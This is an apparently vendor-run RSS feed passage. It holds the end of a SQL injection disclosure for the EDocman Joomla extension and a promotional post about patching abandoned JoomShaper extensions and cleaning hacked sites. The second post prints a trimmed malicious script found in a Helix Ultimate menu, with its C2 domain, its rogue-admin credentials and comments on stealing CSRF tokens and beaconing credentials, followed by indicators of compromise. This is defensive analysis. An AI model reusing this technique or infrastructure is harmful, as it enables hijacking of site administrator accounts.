&lt;p&gt;This flaw is CWE-89, SQL injection, reached by an anonymous visitor over the network in a single request, with no privileges and no user interaction. We score it &lt;strong&gt;CVSS 4.0 8.7 (High)&lt;/strong&gt;. It is a read-only injection, so it stops short of the maximum 10.0 you see on file-upload flaws that end in remote code execution: an attacker reads the database but cannot write to it or run code through this flaw. Reading the database is bad enough, because what leaks is every user record, every password hash and other Joomla API secrets. Where the site&apos;s database account is privileged, as it was on the install we tested, the practical impact is higher still, because the read reaches every database on that MySQL server, not just the one site.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;8.7&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;High&lt;/span&gt;
        &lt;span&gt;Our own assessment, pending an official score&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Unauthenticated, exploitable over the internet in a single request with no user interaction, ending in full read access to the site database. It falls short of 10.0 only because it is a read, not a write: high confidentiality impact, but no integrity or availability impact.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Exploitable over the internet&lt;/span&gt;
        &lt;span&gt;No user interaction&lt;/span&gt;
        &lt;span&gt;Full database read&lt;/span&gt;
        &lt;span&gt;Password hashes exposed&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57832&quot;&gt;CVE-2026-57832&lt;/a&gt; (assigned via the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;EDocman for Joomla (&lt;code&gt;com_edocman&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;JoomDonation / Ossolution (&lt;a href=&quot;https://joomdonation.com/&quot;&gt;joomdonation.com&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Unauthenticated SQL injection (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 4.0&lt;/td&gt;
&lt;td&gt;8.7 (High), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt; (our own assessment)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Impact&lt;/td&gt;
&lt;td&gt;Anonymous read access to any database table, including user accounts and password hashes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Finder&lt;/td&gt;
&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;3.8 and earlier&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;3.9.0 (released 14 July 2026)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;We follow a fix-first, publish-second process: private disclosure to the vendor, a window for a patch, then a public write-up without a proof-of-concept.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;12 July 2026&lt;/td&gt;
&lt;td&gt;During routine security research on the extensions our customers rely on, mySites.guru identifies the unauthenticated SQL injection in EDocman 3.8, confirms it against the code, and proves it on a local test install that reads database contents back through a single anonymous request. The issue is disclosed privately to JoomDonation, with all public detail withheld.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14 July 2026&lt;/td&gt;
&lt;td&gt;JoomDonation releases &lt;strong&gt;EDocman 3.9.0&lt;/strong&gt;, fixing the reported front-end SQL injection along with tighter input validation on document, category and date parameters and safer redirect validation. mySites.guru verifies the fix, adds the affected range to its Joomla vulnerability database so every connected site below the fix is flagged, requests a CVE through the Joomla CNA, and publishes this write-up. No proof-of-concept is released.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15 July 2026&lt;/td&gt;
&lt;td&gt;The Joomla CNA assigns &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57832&quot;&gt;CVE-2026-57832&lt;/a&gt; to the vulnerability, crediting Phil Taylor of mySites.guru as the finder.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;This EDocman flaw was one of &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a month of Joomla extension vulnerabilities we found and disclosed&lt;/a&gt; - the full roundup of the run.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;Our DPCalendar SQL injection disclosure&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;our AcyMailing SQL injection disclosure&lt;/a&gt; - the same class of flaw in other Joomla extensions, found in the same period.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring public-endpoint pattern behind flaws like this one.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89: SQL Injection&lt;/a&gt; and &lt;a href=&quot;https://owasp.org/www-community/attacks/SQL_Injection&quot;&gt;OWASP: SQL Injection&lt;/a&gt; - the canonical references for this weakness class.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomdonation.com/joomla-extensions/edocman-joomla-download-manager.html&quot;&gt;EDocman product page and 3.9.0 release announcement&lt;/a&gt; - where 3.9.0 is available to download; open the &lt;strong&gt;About Latest Version&lt;/strong&gt; tab to read JoomDonation&apos;s own release notes.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>edocman</category><category>sql injection</category><category>vulnerability</category><category>responsible disclosure</category><enclosure url="https://mysites.guru/_astro/edocman-sql-injection-disclosure.C3KG3Aaq.png" length="0" type="image/png"/></item><item><title>The One-Click Way to Patch JoomShaper Extensions on Joomla 3</title><link>https://mysites.guru/blog/patch-abandoned-joomshaper-joomla-3-extensions/</link><guid isPermaLink="true">https://mysites.guru/blog/patch-abandoned-joomshaper-joomla-3-extensions/</guid><description>mySites.guru backports JoomShaper&apos;s security fixes into SP Page Builder, Helix3 and Helix Ultimate on Joomla 3, in place and across every site in your account, from one toggle.</description><pubDate>Tue, 14 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  &lt;p&gt;Update, 15 July 2026: JoomShaper has now patched Joomla 3&lt;/p&gt;
  &lt;p&gt;The day after this post went out, JoomShaper reversed its position and released Joomla 3 security patches for Helix Ultimate, Helix3 and SP Page Builder. That is good news and worth taking: if the official patch installs on your site, apply it. Two things to know first. The Helix Ultimate package only supports Helix 2.1.0 to 2.1.3 and refuses older builds, and no patch, ours or theirs, cleans up a site that was already breached. &lt;a href=&quot;https://mysites.guru/blog/joomshaper-reverses-joomla-3-decision/&quot;&gt;We read the patch code and wrote up what is in it&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;There are still thousands of Joomla 3 sites out there.&lt;/p&gt;
&lt;p&gt;There is always a reason, an excuse: a client who will not sign off the budget, a custom template nobody has the source for, a booking system that only exists as a Joomla 3 extension. So the sites sit there, end of life, and you keep an eye on them and hope. Pray. Ignore.&lt;/p&gt;
&lt;p&gt;On 9 July 2026, &lt;a href=&quot;https://mysites.guru/blog/joomshaper-drops-joomla-3-support/&quot;&gt;JoomShaper stopped supporting Joomla 3&lt;/a&gt; across every one of its products, with one line that matters more than the rest: &lt;strong&gt;no security patches, regardless of severity.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In the same fortnight, we found and disclosed &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;twelve separate vulnerabilities in popular Joomla extensions&lt;/a&gt;, four of them rated the maximum CVSS 10.0&lt;/p&gt;
&lt;p&gt;Unfortunatly, attackers weaponised the fixes within hours of each one going public, as is the norm nowadays.&lt;/p&gt;
&lt;p&gt;JoomShaper only fixed their own code running on Joomla 4+ and left those with Joomla 3 sites scrambling around without any security fixes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;So we built the tool that fixes NOT ONLY the hacks from their vulnerabilities - but also PATCHES their extensions/plugins that they abandoned in their time of need.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;mySites.guru now patches the abandoned JoomShaper extensions on Joomla 3, SP Page Builder, Helix3 and Helix Ultimate, in place, and cleans up the sites already hit, all from the same dashboard you use to manage everything else.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Built by mySites.guru&lt;/p&gt;
  &lt;p&gt;This tool backports JoomShaper&apos;s own security fix logic into the Joomla 3 extension code you are actually running, in place and reversibly, across every site in your account from one toggle. We wrote it, we tested it against real vulnerable sites for a week, and it is live in your subscribed account now (GBP19.99 per month - unlimited sites!). It is one of several Joomla 3 tools we have shipped in the last few weeks, because the sites that need them are the ones with nobody else left to help.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;JoomShaper Walked Away From Joomla 3. Like many modern developers.&lt;/h2&gt;
&lt;p&gt;You cant blame them. Joomla 3.x.x has been end of life for years.  mySites.guru already has a tool that patches security issues in Joomla 3.10.12 following the end of life announcement by Joomla, and their failed commercial eLTS support service - which also ended.&lt;/p&gt;
&lt;p&gt;JoomShaper&apos;s decision is defensible, and we said so at the time: it can secure its own code, but it cannot secure the end-of-life Joomla core underneath it. The timing is what makes it bite. SP Page Builder had an unauthenticated file-upload flaw, &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-48908&quot;&gt;CVE-2026-48908&lt;/a&gt;, rated CVSS 10.0 and actively exploited to plant hidden Joomla Super Admins. Helix3 had &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;CVE-2026-49049&lt;/a&gt;, the entry point for the &quot;Hacked by AntonKill&quot; defacement wave that hides its payload in your database, not your files.&lt;/p&gt;
&lt;p&gt;Both are patched, and when we built this tool both official fixes existed only for Joomla 4 and above.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The fix for SP Page Builder is version 6.6.2.&lt;/li&gt;
&lt;li&gt;The fix for Helix3 is 3.1.1,&lt;/li&gt;
&lt;li&gt;and for Helix Ultimate it is 2.2.7.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Every one of those requires Joomla 4 or newer. Run them on Joomla 3 and there is no version you can update to.&lt;/p&gt;
&lt;p&gt;On 15 July 2026, the day after this tool shipped, &lt;a href=&quot;https://mysites.guru/blog/joomshaper-reverses-joomla-3-decision/&quot;&gt;JoomShaper reversed its Joomla 3 decision&lt;/a&gt; and released separate Joomla 3 patches for all three products. If one installs on your site, take it: a vendor patch beats a third-party guard. The catch is that the Helix Ultimate package checks your version first and only supports Helix 2.1.0 to 2.1.3, so the older builds that tend to sit on long-lived Joomla 3 sites are refused outright.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;mySites.guru already spots these on every connected site and tells you exactly which flaw is present, which version fixes it and why it matters, so before you patch anything you can see your real exposure as a list instead of finding out from a defacement.&lt;/p&gt;
&lt;p&gt;These are the JoomShaper vulnerabilities we have found, disclosed and written up, the three products this tool patches on Joomla 3:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;JoomShaper extension&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Read&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SP Page Builder&lt;/td&gt;
&lt;td&gt;Unauthenticated icon upload to RCE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48908&quot;&gt;CVE-2026-48908&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;10.0&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Helix3&lt;/td&gt;
&lt;td&gt;Unauthenticated file write and delete via com_ajax&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49049&quot;&gt;CVE-2026-49049&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;Disclosure&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;AntonKill wave&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Helix Ultimate&lt;/td&gt;
&lt;td&gt;Unauthenticated menu write to stored XSS&lt;/td&gt;
&lt;td&gt;none assigned&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;We took a different view. The fix logic that JoomShaper wrote is public, we have read it, and it is not large. So mySites.guru now applies that same logic directly to the Joomla 3 code you are running, without touching the version and without waiting. At the time we built it the vendor had said no. It has since said yes, which we are glad about, and the tool still saves you doing it by hand on every site.&lt;/p&gt;
&lt;h2&gt;How to Patch JoomShaper Extensions on Joomla 3&lt;/h2&gt;
&lt;p&gt;With mySites.guru tools! A simple toggle in the site&apos;s Snapshot, in the same &lt;strong&gt;Hacked?&lt;/strong&gt; section as our other security checks.&lt;/p&gt;
&lt;p&gt;One click to patch, one click to restore original files.&lt;/p&gt;
&lt;p&gt;Simple.&lt;/p&gt;
&lt;p&gt;To patch JoomShaper extensions on a Joomla 3 site with mySites.guru, you flip a single toggle in the site&apos;s Snapshot, in the same &lt;strong&gt;Hacked?&lt;/strong&gt; section as our other security checks. Flip it on and mySites.guru inspects the three abandoned JoomShaper extensions, works out which are present and still vulnerable, and injects a minimal security guard into each one through the connector. Flip it off and it restores the original files from the backup it took before the first change.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;It is a guard, not a version bump.&lt;/p&gt;
&lt;p&gt;Rather than trying to ship a rebuilt copy of every version of every extension anyone might be running, the tool reads the file, confirms the vulnerable code is actually there, and inserts a small, self-contained check at the exact point the vendor added theirs. That one approach covers the whole range of vulnerable versions instead of needing a hand-built file for each. Each guard is a faithful backport of the real fix:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Helix Ultimate&lt;/strong&gt;: the media handler that let an anonymous visitor delete files now requires an authenticated template editor and rejects any path containing &lt;code&gt;..&lt;/code&gt;, the same gate JoomShaper added.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Helix3&lt;/strong&gt;: the AJAX image upload and remove handlers now demand a valid token and the right permission before they will do anything, closing the unauthenticated write.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SP Page Builder&lt;/strong&gt;: the addon parameter that could be steered into loading an arbitrary file is now restricted to a plain slug, which kills the local-file-include that led to remote code execution.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Once the toggle is on, the Snapshot shows a per-extension status so you can confirm at a glance which of the three JoomShaper extensions the guard closed on that site.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;The patch &lt;strong&gt;does not change the extension&apos;s version number&lt;/strong&gt;, because it does not replace the extension. The vulnerability badge on the site stays visible on purpose, as a standing reminder that the only permanent fix is migration. What changes is that the hole is now closed.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Because it works across every site in your account, you are not logging into 400 admin panels to do this. You see every Joomla 3 site that runs a vulnerable JoomShaper extension in one list, and you patch them together. The backup-first, toggle-to-revert design means that if anything about a particular site makes you cautious, undoing the change is one click and leaves the files byte-for-byte as they were.&lt;/p&gt;
&lt;p&gt;That is the difference worth understanding now that the vendor patches exist. Doing it JoomShaper&apos;s way means downloading three separate zip files from three different places, then logging into every Joomla site you manage and uploading each one by hand through the extension installer. Doing it this way is one toggle that applies the fix logic for every affected JoomShaper product across every site at once. Both close the same holes. Only one of them costs you a day.&lt;/p&gt;
&lt;h2&gt;What About the Joomla 3 Sites That Just Need to Hang On?&lt;/h2&gt;
&lt;p&gt;This tool exists precisely for them. Not every Joomla 3 site can migrate this quarter, and telling an agency to &quot;just move to Joomla 6&quot; ignores the real work involved: template rebuilds, extension replacements, content checks, client approval. In the meantime those sites are live, indexed, and exposed. The honest position is that they need to hang on for a while, and hanging on should not mean hanging out with an open door.&lt;/p&gt;
&lt;p&gt;Alongside the JoomShaper patch, mySites.guru already includes a &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;one-click patch for the Joomla 3 core itself&lt;/a&gt;. That tool applies every known Joomla 3 core security fix, backported from the &lt;a href=&quot;https://mysites.guru/blog/the-joomla-3-10-999-project/&quot;&gt;3.10.999 project&lt;/a&gt; and the eLTS work, across all your sites from a single toggle, no eLTS subscription required. Between the two, the core holes and the abandoned-extension holes on a Joomla 3 site are both closed while you plan the move properly.&lt;/p&gt;
&lt;h2&gt;Cleaning Up After the Hack Wave&lt;/h2&gt;
&lt;p&gt;Prevention is only half the story, because a lot of these sites were breached before anyone shipped a fix. The wave of Joomla hacks running through 2026 has defaced and backdoored sites in their tens of thousands, and the same JoomShaper flaws are the doorway for a good share of them. Joomla 3 sites are the worst exposed, because they cannot take the vendor fix, but the wave hit Joomla 4, 5 and 6 sites too, and these cleanup tools work on the affected sites whatever version they run. Once an attacker is in, they plant things designed to survive your cleanup: &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;dormant droppers, hidden admins and malicious cron jobs&lt;/a&gt; that quietly rebuild the malware after you think you have removed it. So mySites.guru ships targeted, one-click tools for the exact artefacts these attacks leave behind.&lt;/p&gt;
&lt;p&gt;mySites.guru has a full suite of tools that you can use to clean your hacked sites - the specific ones developed for this current wave are:&lt;/p&gt;
&lt;h3&gt; NEW TOOL: Remove Rogue Super Admin Accounts&lt;/h3&gt;
&lt;p&gt;The first thing a SP Page Builder or Helix compromise usually does is create a hidden Joomla Super Administrator, so the attacker keeps a way back in even after you patch. The &lt;strong&gt;Rogue Super Admin Accounts&lt;/strong&gt; tool flags Super Admins planted with the known attacker signatures, by email and by the worm usernames these campaigns reuse, and lets you delete them across every affected site in one action. A site with a rogue Super Admin is shown as hacked, in red, until it is gone.&lt;/p&gt;
&lt;h3&gt; NEW TOOL: Clean the Helix Ultimate Mega Menu Hack&lt;/h3&gt;
&lt;p&gt;The newest of these tools shipped the same day as this post. When an attacker abuses the unauthenticated Helix Ultimate menu write on a Joomla 4, 5 or 6 site, they store a payload in the mega-menu settings, stored cross-site scripting aimed at creating a Super User, hidden inside your menu.&lt;/p&gt;
&lt;p&gt;On a compromised site we examined, the &lt;code&gt;params&lt;/code&gt; column of the Home item in the &lt;code&gt;#__menu&lt;/code&gt; table read like a normal Helix Ultimate menu layout, except that inside the &lt;code&gt;helixultimatemenulayout&lt;/code&gt; value two fields, &lt;code&gt;badge&lt;/code&gt; and &lt;code&gt;custom_html&lt;/code&gt;, had each been overwritten with the same block of JavaScript. Trimmed down, it does this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// #__menu -&amp;gt; params -&amp;gt; helixultimatemenulayout -&amp;gt; &quot;badge&quot; and &quot;custom_html&quot;
&amp;lt;s-cript&amp;gt;(function () {
  var C2  = &apos;https://xdxd.olybrdbtrknks.xyz&apos;;                    // attacker command-and-control
  var DEF = { login: &apos;admin_mori&apos;, email: &apos;memetkaan43@proton.me&apos;, gid: &apos;8&apos; }; // rogue Super User, group 8

  // poll /administrator/index.php every 30s for a logged-in admin session,
  // then scrape the one-time CSRF token from the page,
  // POST com_users task=user.apply to create the Super User,
  // and beacon the working credentials back to the C2 router.
  // (working parts trimmed on purpose)

  checkAdmin();
  setInterval(checkAdmin, 30000);
})();&amp;lt;/s-cript&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A few things make it nasty:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;It lives in the database, not on disk.&lt;/strong&gt; File scanners, SFTP greps and clean-file restores all miss it, the same blind spot as the Helix3 defacement.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The tag is written as &lt;code&gt;&amp;lt;s-cript&amp;gt;&lt;/code&gt;&lt;/strong&gt; (note the hyphen) so naive keyword filters skip over it, while the browser still parses it as a real script the moment the menu renders.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It only fires for a logged-in administrator.&lt;/strong&gt; The script quietly polls &lt;code&gt;/administrator/index.php&lt;/code&gt; every 30 seconds, and as soon as it detects an authenticated admin session it submits the &lt;code&gt;com_users&lt;/code&gt; new-user form on that admin&apos;s behalf, CSRF token and all.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Super User is attacker-controlled.&lt;/strong&gt; Its username, password and email are fetched live from the C2, falling back to &lt;code&gt;admin_mori&lt;/code&gt; / &lt;code&gt;memetkaan43@proton.me&lt;/code&gt; in group 8 if the C2 is unreachable, then the working credentials are beaconed straight back so the attacker can log in from anywhere.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So the menu write is only the doorway. The real prize is a hidden Super User that outlives the patch, which is why cleaning the site means two jobs: blank the injected menu fields, and audit &lt;code&gt;#__users&lt;/code&gt; for an admin account you did not create. &lt;strong&gt;Indicators of compromise:&lt;/strong&gt; a &lt;code&gt;&amp;lt;s-cript&amp;gt;&lt;/code&gt; string in &lt;code&gt;#__menu.params&lt;/code&gt;; the C2 domain &lt;code&gt;xdxd.olybrdbtrknks.xyz&lt;/code&gt;; a Super User named &lt;code&gt;admin_mori&lt;/code&gt; or registered to &lt;code&gt;memetkaan43@proton.me&lt;/code&gt;; a hidden iframe with id &lt;code&gt;jc_router_iframe&lt;/code&gt;; the global flags &lt;code&gt;joomlacreater_inline_run&lt;/code&gt; and &lt;code&gt;joomlacreater_create_done&lt;/code&gt; in page source.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Helix Ultimate Mega Menu Hack&lt;/strong&gt; tool finds the poisoned menu items and blanks only the injected badge and custom-HTML fields, leaving the rest of your menu layout exactly as it was, then points you to update Helix Ultimate to 2.2.7 or later so it cannot happen again.&lt;/p&gt;
&lt;h3&gt; NEW TOOL: Clean the Helix3 Template Code Hack&lt;/h3&gt;
&lt;p&gt;The Helix3 version of the same attack hides its payload in the template style&apos;s custom code in the database, which is why an on-disk malware scan of a defaced Helix3 site comes back clean while the skull is still on the screen. The &lt;strong&gt;Helix3 Custom Code Hack&lt;/strong&gt; tool reads every template style, finds the injected defacement or stealth loader, and clears it in one click. We wrote about &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;where that defacement actually hides&lt;/a&gt; in detail.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The nastier variant does not deface at all. Instead of a skull, the stealth loader serves a fake &quot;I&apos;m not a robot&quot; box like this one, a ClickFix lure that talks the visitor into pasting an attacker command into the Windows Run dialog and running it on their own machine. The homepage looks normal, the file scan is clean, and the site is quietly weaponised against everyone who visits it, which is exactly why a Helix3 site needs its template custom code checked whether or not a skull ever appeared.&lt;/p&gt;
&lt;h3&gt; NEW TOOL: Delete Rogue SP Page Builder Assets&lt;/h3&gt;
&lt;p&gt;The SP Page Builder upload flaw let anyone plant rogue icon-font asset rows as a foothold. The &lt;strong&gt;SP Page Builder Rogue Icon-Font Assets&lt;/strong&gt; tool detects those planted rows and removes them, again across every affected site at once.&lt;/p&gt;
&lt;h3&gt;Find the Backdoors They Left on Disk&lt;/h3&gt;
&lt;p&gt;The database-side tools clean the specific artefacts these campaigns plant, but a breached site usually has files dropped through the same hole too, and those can be buried anywhere in tens of thousands of files. The mySites.guru file scanner flags each one as a &lt;strong&gt;Hacked File&lt;/strong&gt;, so instead of grepping a whole web space by hand you get a short list to work through, and you can open any file to read the suspect content inline before you act on it.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;That is a real dropper from one of these compromises: a small webshell that runs any command the attacker sends and lets them upload more files. It is the kind of thing that survives a database clean and re-infects the site later, which is why the file audit matters as much as the toggle.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Important&lt;/p&gt;
  &lt;p&gt;Patching and cleaning are two different jobs. Patch to close the entry point so it cannot happen again; clean to remove what an attacker already left. On a site that has been breached, do both, and run a full file audit afterwards, because these compromises rarely stop at one backdoor. If you would rather someone else handled it, our team fixes hacked Joomla sites for a flat fee at &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Does Patching Let Me Skip the Joomla 3 Migration?&lt;/h2&gt;
&lt;p&gt;No. Migration to &lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-release-whats-new/&quot;&gt;Joomla 5 or 6&lt;/a&gt; is the only real fix, and none of these tools changes that. What they change is the risk you carry in the gap between now and the day that migration actually happens, which for most agencies is measured in months, not days. The patch tool closes the vendor-abandoned holes, the core patch tool closes the Joomla core holes, and the cleanup tools deal with anything that got in first. That is a defensible position to hold a site in while you do the migration properly, instead of leaving it open and hoping the botnets do not find it before you get to it.&lt;/p&gt;
&lt;p&gt;If you manage more than a handful of Joomla sites, the starting point is knowing which ones are still on Joomla 3 and what each of them runs. mySites.guru inventories the extensions and versions on &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;every Joomla site you connect&lt;/a&gt; and flags the end-of-life ones automatically, so your exposure is a list you can see rather than a surprise you find out about from a defacement.&lt;/p&gt;
&lt;h2&gt;A Joomla and WordPress Toolset That Grows Every Day&lt;/h2&gt;
&lt;p&gt;The Helix Ultimate mega-menu tool went into mySites.guru the day this post went out. The JoomShaper patch tool arrived the same week. The &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;core Joomla 3 patch tool&lt;/a&gt; picks up new backports as new eLTS fixes appear. We shipped mySites.guru in 2012 and have not stopped building it since, and we mean that literally: we put work into it every single day of the year, because the threats change every single day of the year.&lt;/p&gt;
&lt;p&gt;That investment runs across both platforms, not just Joomla. The same account that patches your Joomla 3 extensions also &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;bulk-updates your WordPress plugins&lt;/a&gt;, scans every site with malware detection built from over a decade of real hacks, backs everything up, and monitors for the changes that a second-wave attacker makes between two clean-looking scans. When a new CMS threat appears, we build the tool that fixes it across your whole portfolio and add it to the dashboard, usually within days, instead of just writing a knowledge-base article about it. The Joomla 3 tools in this post are simply the most recent proof of that.&lt;/p&gt;
&lt;h2&gt;Why Has the mySites.guru Price Not Changed Since 2012?&lt;/h2&gt;
&lt;p&gt;Because we decided a long time ago that the deal should get better without the price going up. mySites.guru is &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;GBP 19.99 per month for unlimited Joomla and WordPress sites&lt;/a&gt;, and that number has not moved since we launched in 2012. Every tool in this post, the JoomShaper patch, the core Joomla 3 patch, all four cleanup tools, arrived after you signed up and cost you nothing extra. So did AI-powered malware analysis, the vulnerability alerting, and the hundreds of other things we have added over the years.&lt;/p&gt;
&lt;p&gt;We are not aware of another service in this space that has held its price flat for that long while adding this much. When we build a tool like the only Joomla 3 extension patcher in existence, it does not become a paid add-on or a higher tier. It shows up in your account, at the price you already pay, because a toolset that grows every day is the entire point of paying for one. You can &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;try the whole thing free for a month&lt;/a&gt; and see it for yourself.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Rather someone just fixed it for you? A flat GBP 120, even if the site is still on Joomla 3.&lt;/p&gt;
